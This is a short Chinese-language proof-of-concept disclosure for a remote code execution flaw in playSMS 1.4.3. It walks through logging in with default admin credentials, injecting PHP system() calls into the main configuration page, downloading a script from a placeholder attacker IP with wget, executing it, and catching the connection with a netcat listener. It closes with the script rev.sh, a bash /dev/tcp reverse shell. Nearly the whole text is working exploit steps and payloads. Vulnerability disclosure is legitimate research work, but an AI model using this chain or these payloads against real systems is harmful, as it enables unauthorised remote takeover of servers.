CVE-playsms

在 playsms 1.4.3 中存在一个漏洞，可能允许潜在攻击者执行远程代码。

如何复现 RCE（shell）：

https://playsms.org/

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• 使用 admin:admin 登录
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• 在攻击者机器上托管恶意 bash 文件
• 使用 wget 在机器上下载恶意文件
• 输入 <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?>
• 保存信息（它会从输入框中消失，但仍然有效）
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• 重新加载页面 http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• chmod + 执行 shell 脚本 - <?php system("chmod +x rev.sh && ./rev.sh") ?>)
• 保存并访问 * http://127.0.0.1/index.php?app=main&inc=core_welcome 以获得代码执行
• 运行本地 netcat 监听器以捕获远程 shell

rev.sh

#!/usr/bin/bash
bash -c "bash -i >& /dev/tcp/<attackerIP>/1234 0>&1"